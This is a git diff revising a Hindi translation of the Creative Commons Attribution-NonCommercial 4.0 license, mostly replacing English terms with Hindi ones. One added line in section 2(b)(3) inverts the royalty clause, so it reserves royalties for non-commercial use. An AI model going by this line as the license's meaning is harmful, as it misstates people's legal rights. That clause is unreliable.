diff --git a/src/LICENSE.md b/src/LICENSE.md index 16acc08d9..3d0b1477f 100644 --- a/src/LICENSE.md +++ b/src/LICENSE.md @@ -7,161 +7,161 @@ पूर्ण कानूनी शर्तें: https://creativecommons.org/licenses/by-nc/4.0/legalcode
फॉर्मेटिंग: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown
-# creative commons +# क्रिएटिव कॉमन्स # Attribution-NonCommercial 4.0 International -Creative Commons Corporation (“Creative Commons”) एक कानून फर्म नहीं है और कानूनी सेवाएँ या कानूनी सलाह प्रदान नहीं करती है। Creative Commons सार्वजनिक लाइसेंस का वितरण वकील-ग्राहक या अन्य संबंध नहीं बनाता है। Creative Commons अपने लाइसेंस और संबंधित जानकारी को "जैसा है" के आधार पर उपलब्ध कराता है। Creative Commons अपने लाइसेंस, उनके शर्तों और शर्तों के तहत लाइसेंस प्राप्त किसी भी सामग्री, या किसी भी संबंधित जानकारी के बारे में कोई वारंटी नहीं देता है। Creative Commons उनके उपयोग से होने वाले नुकसान के लिए अधिकतम सीमा तक सभी जिम्मेदारी से इनकार करता है। +Creative Commons Corporation (“Creative Commons”) एक कानून फर्म नहीं है और कानूनी सेवाएं या कानूनी सलाह प्रदान नहीं करती है। Creative Commons सार्वजनिक लाइसेंस का वितरण वकील-ग्राहक या अन्य संबंध नहीं बनाता है। Creative Commons अपने लाइसेंस और संबंधित जानकारी को "जैसा है" के आधार पर उपलब्ध कराता है। Creative Commons अपने लाइसेंस, उनके शर्तों और शर्तों के तहत लाइसेंस प्राप्त किसी भी सामग्री, या किसी भी संबंधित जानकारी के बारे में कोई वारंटी नहीं देता है। Creative Commons उनके उपयोग से होने वाले नुकसान के लिए अधिकतम सीमा तक सभी जिम्मेदारी से इनकार करता है। -## Using Creative Commons Public Licenses +## Creative Commons सार्वजनिक लाइसेंस का उपयोग करना -Creative Commons सार्वजनिक लाइसेंस एक मानक सेट के शर्तों और शर्तों को प्रदान करते हैं जिन्हें निर्माता और अन्य अधिकार धारक मूल लेखन और अन्य सामग्री को साझा करने के लिए उपयोग कर सकते हैं जो कॉपीराइट और नीचे दिए गए सार्वजनिक लाइसेंस में निर्दिष्ट कुछ अन्य अधिकारों के अधीन हैं। निम्नलिखित विचार केवल सूचना के उद्देश्यों के लिए हैं, ये संपूर्ण नहीं हैं, और हमारे लाइसेंस का हिस्सा नहीं बनाते हैं। +Creative Commons सार्वजनिक लाइसेंस एक मानक सेट के शर्तों और शर्तों को प्रदान करते हैं जिन्हें निर्माता और अन्य अधिकार धारक मूल लेखन और अन्य सामग्री को साझा करने के लिए उपयोग कर सकते हैं जो कॉपीराइट और नीचे दिए गए सार्वजनिक लाइसेंस में निर्दिष्ट कुछ अन्य अधिकारों के अधीन हैं। निम्नलिखित विचार केवल सूचनात्मक उद्देश्यों के लिए हैं, ये संपूर्ण नहीं हैं, और हमारे लाइसेंस का हिस्सा नहीं बनाते हैं। -- **लाइसेंसधारकों के लिए विचार:** हमारे सार्वजनिक लाइसेंस उन लोगों के उपयोग के लिए हैं जिन्हें सामग्री को कॉपीराइट और कुछ अन्य अधिकारों द्वारा प्रतिबंधित तरीकों से उपयोग करने की अनुमति देने के लिए अधिकृत किया गया है। हमारे लाइसेंस अपरिवर्तनीय हैं। लाइसेंसधारकों को लागू करने से पहले वे जिस लाइसेंस का चयन करते हैं, उसकी शर्तों और शर्तों को पढ़ना और समझना चाहिए। लाइसेंसधारकों को यह सुनिश्चित करना चाहिए कि वे हमारे लाइसेंस लागू करने से पहले सभी आवश्यक अधिकार सुरक्षित करें ताकि जनता सामग्री का पुन: उपयोग कर सके जैसा अपेक्षित है। लाइसेंसधारकों को किसी भी सामग्री को स्पष्ट रूप से चिह्नित करना चाहिए जो लाइसेंस के अधीन नहीं है। इसमें अन्य CC-लाइसेंस प्राप्त सामग्री, या कॉपीराइट के लिए अपवाद या सीमा के तहत उपयोग की गई सामग्री शामिल है। [लाइसेंसधारकों के लिए अधिक विचार](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). +- **लाइसेंस देने वालों के लिए विचार:** हमारे सार्वजनिक लाइसेंस उन लोगों के उपयोग के लिए हैं जिन्हें सामग्री को कॉपीराइट और कुछ अन्य अधिकारों द्वारा प्रतिबंधित तरीकों से उपयोग करने की अनुमति देने के लिए अधिकृत किया गया है। हमारे लाइसेंस अपरिवर्तनीय हैं। लाइसेंस देने वालों को लागू करने से पहले वे जिस लाइसेंस का चयन करते हैं, उसकी शर्तों और शर्तों को पढ़ना और समझना चाहिए। लाइसेंस देने वालों को यह सुनिश्चित करना चाहिए कि वे हमारे लाइसेंस लागू करने से पहले सभी आवश्यक अधिकार सुरक्षित करें ताकि जनता सामग्री का पुन: उपयोग कर सके जैसा अपेक्षित है। लाइसेंस देने वालों को लाइसेंस के अधीन नहीं आने वाली किसी भी सामग्री को स्पष्ट रूप से चिह्नित करना चाहिए। इसमें अन्य CC-लाइसेंस प्राप्त सामग्री या कॉपीराइट के अपवाद या सीमा के तहत उपयोग की गई सामग्री शामिल है। [लाइसेंस देने वालों के लिए अधिक विचार](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). -- **जनता के लिए विचार:** हमारे सार्वजनिक लाइसेंस में से एक का उपयोग करके, एक लाइसेंसधारक जनता को निर्दिष्ट शर्तों और शर्तों के तहत लाइसेंस प्राप्त सामग्री का उपयोग करने की अनुमति देता है। यदि किसी कारण से लाइसेंसधारक की अनुमति आवश्यक नहीं है - उदाहरण के लिए, कॉपीराइट के लिए किसी भी लागू अपवाद या सीमा के कारण - तो वह उपयोग लाइसेंस द्वारा नियंत्रित नहीं है। हमारे लाइसेंस केवल उन अधिकारों के तहत अनुमतियाँ प्रदान करते हैं जो कॉपीराइट और कुछ अन्य अधिकारों के तहत हैं जिन्हें लाइसेंसधारक देने के लिए अधिकृत है। लाइसेंस प्राप्त सामग्री का उपयोग अन्य कारणों से भी प्रतिबंधित हो सकता है, जिसमें यह शामिल है कि दूसरों के पास सामग्री में कॉपीराइट या अन्य अधिकार हैं। एक लाइसेंसधारक विशेष अनुरोध कर सकता है, जैसे कि सभी परिवर्तनों को चिह्नित या वर्णित करने के लिए कहना। हालाँकि हमारे लाइसेंस द्वारा आवश्यक नहीं है, आपको उन अनुरोधों का सम्मान करने के लिए प्रोत्साहित किया जाता है जहाँ यह उचित हो। [जनता के लिए अधिक विचार](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). +- **जनता के लिए विचार:** हमारे सार्वजनिक लाइसेंस में से एक का उपयोग करके, एक लाइसेंस देने वाला जनता को निर्दिष्ट शर्तों और शर्तों के तहत लाइसेंस प्राप्त सामग्री का उपयोग करने की अनुमति देता है। यदि किसी कारण से लाइसेंस देने वाले की अनुमति आवश्यक नहीं है - उदाहरण के लिए, कॉपीराइट के किसी लागू अपवाद या सीमा के कारण - तो वह उपयोग लाइसेंस द्वारा नियंत्रित नहीं है। हमारे लाइसेंस केवल कॉपीराइट और कुछ अन्य अधिकारों के तहत अनुमतियाँ प्रदान करते हैं जिन्हें लाइसेंस देने वाले को देने का अधिकार है। लाइसेंस प्राप्त सामग्री का उपयोग अन्य कारणों से भी प्रतिबंधित हो सकता है, जिसमें यह शामिल है कि दूसरों के पास सामग्री में कॉपीराइट या अन्य अधिकार हैं। एक लाइसेंस देने वाला विशेष अनुरोध कर सकता है, जैसे कि सभी परिवर्तनों को चिह्नित या वर्णित करने के लिए कहना। हालाँकि हमारे लाइसेंस द्वारा आवश्यक नहीं है, आपको उन अनुरोधों का सम्मान करने के लिए प्रोत्साहित किया जाता है जहाँ यह उचित हो। [जनता के लिए अधिक विचार](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). -# Creative Commons Attribution-NonCommercial 4.0 International Public License +# Creative Commons Attribution-NonCommercial 4.0 International सार्वजनिक लाइसेंस -लाइसेंस प्राप्त अधिकारों का प्रयोग करके (नीचे परिभाषित), आप इस Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License") की शर्तों और शर्तों से बंधने के लिए स्वीकार करते हैं और सहमत होते हैं। इस Public License को एक अनुबंध के रूप में व्याख्या किए जाने की सीमा तक, आपको इन शर्तों और शर्तों को स्वीकार करने के लिए लाइसेंस प्राप्त अधिकार दिए जाते हैं, और लाइसेंसधारक आपको इन शर्तों और शर्तों के तहत लाइसेंस प्राप्त सामग्री उपलब्ध कराने से प्राप्त लाभ के विचार में ऐसे अधिकार प्रदान करता है। +लाइसेंस प्राप्त अधिकारों का प्रयोग करके (नीचे परिभाषित), आप इस Creative Commons Attribution-NonCommercial 4.0 International सार्वजनिक लाइसेंस ("सार्वजनिक लाइसेंस") की शर्तों और शर्तों से बंधने के लिए स्वीकार करते हैं और सहमत होते हैं। इस सार्वजनिक लाइसेंस को एक अनुबंध के रूप में व्याख्या किए जाने की सीमा तक, आपको इन शर्तों और शर्तों को स्वीकार करने के लिए लाइसेंस प्राप्त अधिकार दिए जाते हैं, और लाइसेंस देने वाला आपको इन शर्तों और शर्तों के तहत लाइसेंस प्राप्त सामग्री उपलब्ध कराने से प्राप्त लाभ के विचार में ऐसे अधिकार प्रदान करता है। -## Section 1 – Definitions. +## अनुभाग 1 – परिभाषाएँ। -a. **Adapted Material** का अर्थ है कॉपीराइट और समान अधिकारों के अधीन सामग्री जो लाइसेंस प्राप्त सामग्री से व्युत्पन्न या आधारित है और जिसमें लाइसेंस प्राप्त सामग्री का अनुवाद, परिवर्तन, व्यवस्था, रूपांतरण, या अन्यथा संशोधन किया गया है, जो लाइसेंसधारक द्वारा रखे गए कॉपीराइट और समान अधिकारों के तहत अनुमति की आवश्यकता है। इस Public License के उद्देश्यों के लिए, जहाँ लाइसेंस प्राप्त सामग्री एक संगीत कार्य, प्रदर्शन, या ध्वनि रिकॉर्डिंग है, वहाँ Adapted Material हमेशा तब उत्पन्न होता है जब लाइसेंस प्राप्त सामग्री को चलती छवि के साथ समय संबंध में समन्वयित किया जाता है। +a. **अनुकूलित सामग्री** का अर्थ है कॉपीराइट और समान अधिकारों के अधीन सामग्री जो लाइसेंस प्राप्त सामग्री से व्युत्पन्न या आधारित है और जिसमें लाइसेंस प्राप्त सामग्री का अनुवाद, परिवर्तन, व्यवस्था, रूपांतरण, या अन्यथा संशोधन किया गया है, जो लाइसेंस देने वाले द्वारा रखे गए कॉपीराइट और समान अधिकारों के तहत अनुमति की आवश्यकता है। इस सार्वजनिक लाइसेंस के उद्देश्यों के लिए, जहां लाइसेंस प्राप्त सामग्री एक संगीत कार्य, प्रदर्शन, या ध्वनि रिकॉर्डिंग है, अनुकूलित सामग्री हमेशा तब उत्पन्न होती है जब लाइसेंस प्राप्त सामग्री को चलती छवि के साथ समय संबंध में समन्वयित किया जाता है। -b. **Adapter's License** का अर्थ है वह लाइसेंस जिसे आप अपने योगदान में Adapted Material के लिए अपने कॉपीराइट और समान अधिकारों पर लागू करते हैं, इस Public License की शर्तों और शर्तों के अनुसार। +b. **एडाप्टर का लाइसेंस** का अर्थ है लाइसेंस प्राप्त सामग्री में आपके योगदान के लिए आपके कॉपीराइट और समान अधिकारों पर लागू लाइसेंस इस सार्वजनिक लाइसेंस की शर्तों और शर्तों के अनुसार। -c. **Copyright and Similar Rights** का अर्थ है कॉपीराइट और/या कॉपीराइट से निकटता से संबंधित समान अधिकार, जिसमें, बिना किसी सीमा के, प्रदर्शन, प्रसारण, ध्वनि रिकॉर्डिंग, और Sui Generis Database Rights शामिल हैं, बिना यह देखे कि अधिकारों को कैसे लेबल या वर्गीकृत किया गया है। इस Public License के उद्देश्यों के लिए, धारा 2(b)(1)-(2) में निर्दिष्ट अधिकार कॉपीराइट और समान अधिकार नहीं हैं। +c. **कॉपीराइट और समान अधिकार** का अर्थ है कॉपीराइट और/या कॉपीराइट से निकटता से संबंधित समान अधिकार, जिसमें, बिना किसी सीमा के, प्रदर्शन, प्रसारण, ध्वनि रिकॉर्डिंग, और Sui Generis Database Rights शामिल हैं, बिना यह देखे कि अधिकारों को कैसे लेबल या वर्गीकृत किया गया है। इस सार्वजनिक लाइसेंस के उद्देश्यों के लिए, अनुभाग 2(b)(1)-(2) में निर्दिष्ट अधिकार कॉपीराइट और समान अधिकार नहीं हैं। -d. **Effective Technological Measures** का अर्थ है वे उपाय जो, उचित प्राधिकरण की अनुपस्थिति में, WIPO Copyright Treaty के अनुच्छेद 11 के तहत दायित्वों को पूरा करने वाले कानूनों के तहत नहीं हटाए जा सकते हैं, जिसे 20 दिसंबर 1996 को अपनाया गया था, और/या समान अंतरराष्ट्रीय समझौतों के तहत। +d. **प्रभावी तकनीकी उपाय** का अर्थ है वे उपाय जो, उचित प्राधिकरण की अनुपस्थिति में, WIPO कॉपीराइट संधि के अनुच्छेद 11 के तहत दायित्वों को पूरा करने वाले कानूनों के तहत नहीं चकमा दिए जा सकते हैं, जिसे 20 दिसंबर 1996 को अपनाया गया था, और/या समान अंतरराष्ट्रीय समझौतों के तहत। -e. **Exceptions and Limitations** का अर्थ है उचित उपयोग, उचित सौदा, और/या कॉपीराइट और समान अधिकारों के लिए कोई अन्य अपवाद या सीमा जो आपकी लाइसेंस प्राप्त सामग्री के उपयोग पर लागू होती है। +e. **अपवाद और सीमाएँ** का अर्थ है उचित उपयोग, उचित सौदा, और/या कॉपीराइट और समान अधिकारों के लिए कोई अन्य अपवाद या सीमा जो आपकी लाइसेंस प्राप्त सामग्री के उपयोग पर लागू होती है। -f. **Licensed Material** का अर्थ है कलात्मक या साहित्यिक कार्य, डेटाबेस, या अन्य सामग्री जिस पर लाइसेंसधारक ने इस Public License को लागू किया है। +f. **लाइसेंस प्राप्त सामग्री** का अर्थ है कलात्मक या साहित्यिक कार्य, डेटाबेस, या अन्य सामग्री जिस पर लाइसेंस देने वाले ने इस सार्वजनिक लाइसेंस को लागू किया है। -g. **Licensed Rights** का अर्थ है वे अधिकार जो आपको इस Public License की शर्तों और शर्तों के अधीन दिए जाते हैं, जो आपके लाइसेंस प्राप्त सामग्री के उपयोग पर लागू सभी कॉपीराइट और समान अधिकारों तक सीमित हैं और जिन्हें लाइसेंसधारक लाइसेंस देने के लिए अधिकृत है। +g. **लाइसेंस प्राप्त अधिकार** का अर्थ है आपके लिए इस सार्वजनिक लाइसेंस की शर्तों और शर्तों के अधीन दिए गए अधिकार, जो आपकी लाइसेंस प्राप्त सामग्री के उपयोग पर लागू सभी कॉपीराइट और समान अधिकारों तक सीमित हैं और जिन्हें लाइसेंस देने वाले को लाइसेंस देने का अधिकार है। -h. **Licensor** का अर्थ है वह व्यक्ति(गण) या इकाई(याँ) जो इस Public License के तहत अधिकार प्रदान करती है। +h. **लाइसेंस देने वाला** का अर्थ है वह व्यक्ति(या) या इकाई(या) जो इस सार्वजनिक लाइसेंस के तहत अधिकार प्रदान करता है। -i. **NonCommercial** का अर्थ है मुख्य रूप से वाणिज्यिक लाभ या मौद्रिक मुआवजे के लिए नहीं। इस Public License के उद्देश्यों के लिए, लाइसेंस प्राप्त सामग्री का अन्य सामग्री के लिए आदान-प्रदान जो कॉपीराइट और समान अधिकारों के अधीन है, डिजिटल फ़ाइल-शेयरिंग या समान तरीकों द्वारा NonCommercial है, बशर्ते कि आदान-प्रदान के संबंध में मौद्रिक मुआवजे का कोई भुगतान न हो। +i. **गैर-व्यावसायिक** का अर्थ है मुख्य रूप से व्यावसायिक लाभ या मौद्रिक मुआवजे के लिए नहीं होना। इस सार्वजनिक लाइसेंस के उद्देश्यों के लिए, लाइसेंस प्राप्त सामग्री का अन्य सामग्री के लिए आदान-प्रदान जो कॉपीराइट और समान अधिकारों के अधीन है, डिजिटल फ़ाइल-शेयरिंग या समान तरीकों द्वारा गैर-व्यावसायिक है, बशर्ते कि आदान-प्रदान के संबंध में मौद्रिक मुआवजे का कोई भुगतान न हो। -j. **Share** का अर्थ है किसी भी तरीके या प्रक्रिया द्वारा सामग्री को जनता को प्रदान करना जो लाइसेंस प्राप्त अधिकारों के तहत अनुमति की आवश्यकता है, जैसे कि पुनरुत्पादन, सार्वजनिक प्रदर्शन, वितरण, प्रसार, संचार, या आयात, और सामग्री को जनता के लिए उपलब्ध कराना जिसमें ऐसे तरीके शामिल हैं जिनसे जनता के सदस्य सामग्री को किसी स्थान से और किसी समय पर व्यक्तिगत रूप से चुन सकते हैं। +j. **साझा करना** का अर्थ है किसी भी तरीके या प्रक्रिया द्वारा सामग्री को जनता को प्रदान करना जो लाइसेंस प्राप्त अधिकारों के तहत अनुमति की आवश्यकता होती है, जैसे कि पुनरुत्पादन, सार्वजनिक प्रदर्शन, वितरण, प्रसार, संचार, या आयात, और सामग्री को जनता के लिए उपलब्ध कराना जिसमें ऐसे तरीके शामिल हैं जिनसे जनता के सदस्य सामग्री को एक स्थान से और एक समय पर व्यक्तिगत रूप से चुन सकते हैं। k. **Sui Generis Database Rights** का अर्थ है कॉपीराइट के अलावा अधिकार जो 11 मार्च 1996 को यूरोपीय संसद और परिषद के निर्देश 96/9/EC से उत्पन्न होते हैं, जैसा कि संशोधित और/या उत्तराधिकारित किया गया है, साथ ही दुनिया में कहीं भी अन्य मौलिक रूप से समकक्ष अधिकार। -l. **You** का अर्थ है वह व्यक्ति या इकाई जो इस Public License के तहत लाइसेंस प्राप्त अधिकारों का प्रयोग कर रही है। आपका एक संबंधित अर्थ है। +l. **आप** का अर्थ है वह व्यक्ति या इकाई जो इस सार्वजनिक लाइसेंस के तहत लाइसेंस प्राप्त अधिकारों का प्रयोग कर रही है। आपका एक संबंधित अर्थ है। -## Section 2 – Scope. +## अनुभाग 2 – दायरा। -a. **_License grant._** +a. **_लाइसेंस अनुदान._** -1. इस Public License की शर्तों और शर्तों के अधीन, लाइसेंसधारक आपको लाइसेंस प्राप्त सामग्री में लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए एक विश्वव्यापी, रॉयल्टी-फ्री, गैर-सब-लाइसेंस योग्य, गैर-विशेष, अपरिवर्तनीय लाइसेंस प्रदान करता है: +1. इस सार्वजनिक लाइसेंस की शर्तों और शर्तों के अधीन, लाइसेंस देने वाला आपको यहाँ एक वैश्विक, रॉयल्टी-फ्री, गैर-सब-लाइसेंस योग्य, गैर-विशिष्ट, अपरिवर्तनीय लाइसेंस प्रदान करता है ताकि आप लाइसेंस प्राप्त सामग्री में लाइसेंस प्राप्त अधिकारों का प्रयोग कर सकें: -A. लाइसेंस प्राप्त सामग्री को, पूरी या आंशिक रूप से, केवल NonCommercial उद्देश्यों के लिए पुनरुत्पादित और साझा करना; और +A. लाइसेंस प्राप्त सामग्री को, पूरी या आंशिक रूप से, केवल गैर-व्यावसायिक उद्देश्यों के लिए पुनरुत्पादित और साझा करें; और -B. केवल NonCommercial उद्देश्यों के लिए Adapted Material का उत्पादन, पुनरुत्पादन, और साझा करना। +B. केवल गैर-व्यावसायिक उद्देश्यों के लिए अनुकूलित सामग्री का उत्पादन, पुनरुत्पादन, और साझा करें। -2. **Exceptions and Limitations.** संदेह से बचने के लिए, जहाँ Exceptions and Limitations आपके उपयोग पर लागू होते हैं, यह Public License लागू नहीं होता है, और आपको इसकी शर्तों और शर्तों का पालन करने की आवश्यकता नहीं है। -3. **Term.** इस Public License की अवधि धारा 6(a) में निर्दिष्ट है। +2. **अपवाद और सीमाएँ।** संदेह से बचने के लिए, जहां अपवाद और सीमाएँ आपके उपयोग पर लागू होती हैं, यह सार्वजनिक लाइसेंस लागू नहीं होता है, और आपको इसकी शर्तों और शर्तों का पालन करने की आवश्यकता नहीं है। +3. **अवधि।** इस सार्वजनिक लाइसेंस की अवधि अनुभाग 6(a) में निर्दिष्ट है। -4. **Media and formats; technical modifications allowed.** लाइसेंसधारक आपको सभी मीडिया और प्रारूपों में लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए अधिकृत करता है चाहे वे अब ज्ञात हों या बाद में बनाए जाएं, और ऐसा करने के लिए आवश्यक तकनीकी संशोधन करने के लिए। लाइसेंसधारक आपको लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए आवश्यक तकनीकी संशोधन करने से रोकने के लिए किसी भी अधिकार या प्राधिकरण का दावा करने से मना करता है, जिसमें प्रभावी तकनीकी उपायों को दरकिनार करने के लिए आवश्यक तकनीकी संशोधन शामिल हैं। इस Public License के उद्देश्यों के लिए, इस धारा 2(a)(4) द्वारा अधिकृत संशोधन करना कभी भी Adapted Material उत्पन्न नहीं करता है। -5. **Downstream recipients.** +4. **मीडिया और प्रारूप; तकनीकी संशोधन की अनुमति है।** लाइसेंस देने वाला आपको सभी मीडिया और प्रारूपों में लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए अधिकृत करता है चाहे वे अब ज्ञात हों या बाद में बनाए जाएं, और ऐसा करने के लिए आवश्यक तकनीकी संशोधन करने के लिए। लाइसेंस देने वाला आपको तकनीकी संशोधन करने से रोकने के लिए किसी भी अधिकार या प्राधिकरण का दावा करने से मना करता है, जो लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए आवश्यक है, जिसमें प्रभावी तकनीकी उपायों को चकमा देने के लिए आवश्यक तकनीकी संशोधन शामिल हैं। इस सार्वजनिक लाइसेंस के उद्देश्यों के लिए, इस अनुभाग 2(a)(4) द्वारा अधिकृत संशोधन करना कभी भी अनुकूलित सामग्री उत्पन्न नहीं करता है। +5. **डाउनस्ट्रीम प्राप्तकर्ता।** -A. **Offer from the Licensor – Licensed Material.** लाइसेंस प्राप्त सामग्री के प्रत्येक प्राप्तकर्ता को स्वचालित रूप से लाइसेंसधारक से इस Public License की शर्तों और शर्तों के तहत लाइसेंस प्राप्त अधिकारों का प्रयोग करने का एक प्रस्ताव प्राप्त होता है। +A. **लाइसेंस देने वाले से प्रस्ताव - लाइसेंस प्राप्त सामग्री।** लाइसेंस प्राप्त सामग्री का प्रत्येक प्राप्तकर्ता स्वचालित रूप से इस सार्वजनिक लाइसेंस की शर्तों और शर्तों के तहत लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए लाइसेंस देने वाले से एक प्रस्ताव प्राप्त करता है। -B. **No downstream restrictions.** आप लाइसेंस प्राप्त सामग्री पर कोई अतिरिक्त या भिन्न शर्तें या शर्तें लागू नहीं कर सकते हैं, या लाइसेंस प्राप्त सामग्री पर कोई प्रभावी तकनीकी उपाय लागू नहीं कर सकते हैं यदि ऐसा करने से लाइसेंस प्राप्त सामग्री के किसी प्राप्तकर्ता द्वारा लाइसेंस प्राप्त अधिकारों का प्रयोग प्रतिबंधित होता है। +B. **कोई डाउनस्ट्रीम प्रतिबंध नहीं।** आप लाइसेंस प्राप्त सामग्री पर कोई अतिरिक्त या भिन्न शर्तें या शर्तें पेश नहीं कर सकते हैं, या लाइसेंस प्राप्त सामग्री पर कोई प्रभावी तकनीकी उपाय लागू नहीं कर सकते हैं यदि ऐसा करने से लाइसेंस प्राप्त सामग्री के किसी प्राप्तकर्ता द्वारा लाइसेंस प्राप्त अधिकारों का प्रयोग प्रतिबंधित होता है। -6. **No endorsement.** इस Public License में कुछ भी यह स्थापित नहीं करता है या इसे इस तरह से व्याख्या नहीं किया जा सकता है कि आप, या आपकी लाइसेंस प्राप्त सामग्री का उपयोग, लाइसेंसधारक या अन्य लोगों के साथ जुड़ा हुआ है, या प्रायोजित, समर्थन प्राप्त, या आधिकारिक स्थिति दी गई है जैसा कि धारा 3(a)(1)(A)(i) में प्रदान किया गया है। +6. **कोई समर्थन नहीं।** इस सार्वजनिक लाइसेंस में कुछ भी यह स्थापित नहीं करता है या इसे इस तरह से व्याख्या नहीं किया जा सकता है कि आप, या आपकी लाइसेंस प्राप्त सामग्री का उपयोग, लाइसेंस देने वाले या अन्य लोगों द्वारा समर्थन, प्रायोजित, या आधिकारिक स्थिति प्राप्त करने से संबंधित है। -b. **_Other rights._** +b. **_अन्य अधिकार।_** -1. नैतिक अधिकार, जैसे कि अखंडता का अधिकार, इस Public License के तहत लाइसेंस प्राप्त नहीं हैं, न ही प्रचार, गोपनीयता, और/या अन्य समान व्यक्तित्व अधिकार; हालाँकि, यथासंभव, लाइसेंसधारक उन अधिकारों का परित्याग करता है और/या सहमत होता है कि लाइसेंस प्राप्त अधिकारों का प्रयोग करने के लिए आवश्यक सीमित सीमा में लाइसेंसधारक द्वारा रखे गए किसी भी ऐसे अधिकार का दावा न करें। +1. नैतिक अधिकार, जैसे कि अखंडता का अधिकार, इस सार्वजनिक लाइसेंस के तहत लाइसेंस प्राप्त नहीं हैं, न ही प्रचार, गोपनीयता, और/या अन्य समान व्यक्तित्व अधिकार; हालाँकि, यथासंभव, लाइसेंस देने वाला आपको लाइसेंस प्राप्त अधिकारों का प्रयोग करने की अनुमति देने के लिए आवश्यक सीमित सीमा में लाइसेंस देने वाले द्वारा रखे गए किसी भी ऐसे अधिकारों का दावा करने से मना करता है, लेकिन अन्यथा नहीं। -2. पेटेंट और ट्रेडमार्क अधिकार इस Public License के तहत लाइसेंस प्राप्त नहीं हैं। +2. पेटेंट और ट्रेडमार्क अधिकार इस सार्वजनिक लाइसेंस के तहत लाइसेंस प्राप्त नहीं हैं। -3. यथासंभव, लाइसेंसधारक आपसे लाइसेंस प्राप्त अधिकारों के प्रयोग के लिए रॉयल्टी एकत्र करने के किसी भी अधिकार का परित्याग करता है, चाहे सीधे या किसी स्वैच्छिक या छोडे जाने योग्य वैधानिक या अनिवार्य लाइसेंसिंग योजना के तहत एकत्र करने वाले समाज के माध्यम से। अन्य सभी मामलों में, लाइसेंसधारक स्पष्ट रूप से ऐसे रॉयल्टी एकत्र करने का अधिकार सुरक्षित रखता है, जिसमें जब लाइसेंस प्राप्त सामग्री का उपयोग NonCommercial उद्देश्यों के अलावा किया जाता है। +3. यथासंभव, लाइसेंस देने वाला आपको लाइसेंस प्राप्त अधिकारों के प्रयोग के लिए सीधे या किसी संग्रहणीय समाज के माध्यम से किसी भी स्वैच्छिक या माफ़ किए जाने योग्य वैधानिक या अनिवार्य लाइसेंसिंग योजना के तहत रॉयल्टी एकत्र करने के किसी भी अधिकार से मना करता है। अन्य सभी मामलों में, लाइसेंस देने वाला स्पष्ट रूप से ऐसे रॉयल्टी एकत्र करने के किसी भी अधिकार को सुरक्षित रखता है, जिसमें जब लाइसेंस प्राप्त सामग्री का उपयोग गैर-व्यावसायिक उद्देश्यों के लिए किया जाता है। -## Section 3 – License Conditions. +## अनुभाग 3 – लाइसेंस की शर्तें। आपका लाइसेंस प्राप्त अधिकारों का प्रयोग स्पष्ट रूप से निम्नलिखित शर्तों के अधीन है। -a. **_Attribution._** +a. **_अट्रिब्यूशन।_** 1. यदि आप लाइसेंस प्राप्त सामग्री साझा करते हैं (संशोधित रूप में भी), तो आपको: -A. निम्नलिखित को बनाए रखना चाहिए यदि यह लाइसेंसधारक द्वारा लाइसेंस प्राप्त सामग्री के साथ प्रदान किया गया है: +A. निम्नलिखित को बनाए रखना चाहिए यदि यह लाइसेंस देने वाले द्वारा लाइसेंस प्राप्त सामग्री के साथ प्रदान किया गया है: -i. लाइसेंस प्राप्त सामग्री के निर्माता(गण) की पहचान और किसी अन्य को जो श्रेय प्राप्त करने के लिए निर्दिष्ट किया गया है, किसी भी उचित तरीके से जो लाइसेंसधारक द्वारा अनुरोध किया गया है (यदि निर्दिष्ट किया गया हो तो उपनाम सहित); +i. लाइसेंस प्राप्त सामग्री के निर्माता(ों) की पहचान और किसी अन्य को जो अट्रिब्यूशन प्राप्त करने के लिए निर्दिष्ट किया गया है, किसी भी उचित तरीके से जो लाइसेंस देने वाले द्वारा अनुरोध किया गया है (यदि निर्दिष्ट किया गया हो तो उपनाम सहित); ii. एक कॉपीराइट नोटिस; -iii. एक नोटिस जो इस Public License का संदर्भ देता है; +iii. इस सार्वजनिक लाइसेंस का संदर्भ देने वाला एक नोटिस; -iv. एक नोटिस जो वारंटी के अस्वीकरण का संदर्भ देता है; +iv. वारंटी के अस्वीकरण का संदर्भ देने वाला एक नोटिस; -v. लाइसेंस प्राप्त सामग्री के लिए एक URI या हाइपरलिंक यथासंभव व्यावहारिक रूप से; +v. लाइसेंस प्राप्त सामग्री का एक URI या हाइपरलिंक यथासंभव व्यावहारिक रूप से; B. यह संकेत करें कि आपने लाइसेंस प्राप्त सामग्री में संशोधन किया है और किसी भी पूर्व संशोधन का संकेत बनाए रखें; और -C. यह संकेत करें कि लाइसेंस प्राप्त सामग्री इस Public License के तहत लाइसेंस प्राप्त है, और इस Public License के पाठ या URI या हाइपरलिंक को शामिल करें। +C. यह संकेत करें कि लाइसेंस प्राप्त सामग्री इस सार्वजनिक लाइसेंस के तहत लाइसेंस प्राप्त है, और इस सार्वजनिक लाइसेंस के पाठ या URI या हाइपरलिंक को शामिल करें। -2. आप धारा 3(a)(1) में शर्तों को किसी भी उचित तरीके से पूरा कर सकते हैं जो उस माध्यम, साधन, और संदर्भ पर आधारित है जिसमें आप लाइसेंस प्राप्त सामग्री साझा करते हैं। उदाहरण के लिए, यह उचित हो सकता है कि आवश्यक जानकारी शामिल करने वाले संसाधन के लिए एक URI या हाइपरलिंक प्रदान करके शर्तों को पूरा किया जाए। +2. आप अनुभाग 3(a)(1) में शर्तों को किसी भी उचित तरीके से पूरा कर सकते हैं जो उस माध्यम, साधन, और संदर्भ पर आधारित है जिसमें आप लाइसेंस प्राप्त सामग्री साझा करते हैं। उदाहरण के लिए, यह उचित हो सकता है कि आवश्यक जानकारी शामिल करने वाले संसाधन के लिए एक URI या हाइपरलिंक प्रदान करके शर्तों को पूरा किया जाए। -3. यदि लाइसेंसधारक द्वारा अनुरोध किया गया, तो आपको यथासंभव व्यावहारिक रूप से धारा 3(a)(1)(A) द्वारा आवश्यक किसी भी जानकारी को हटाना चाहिए। 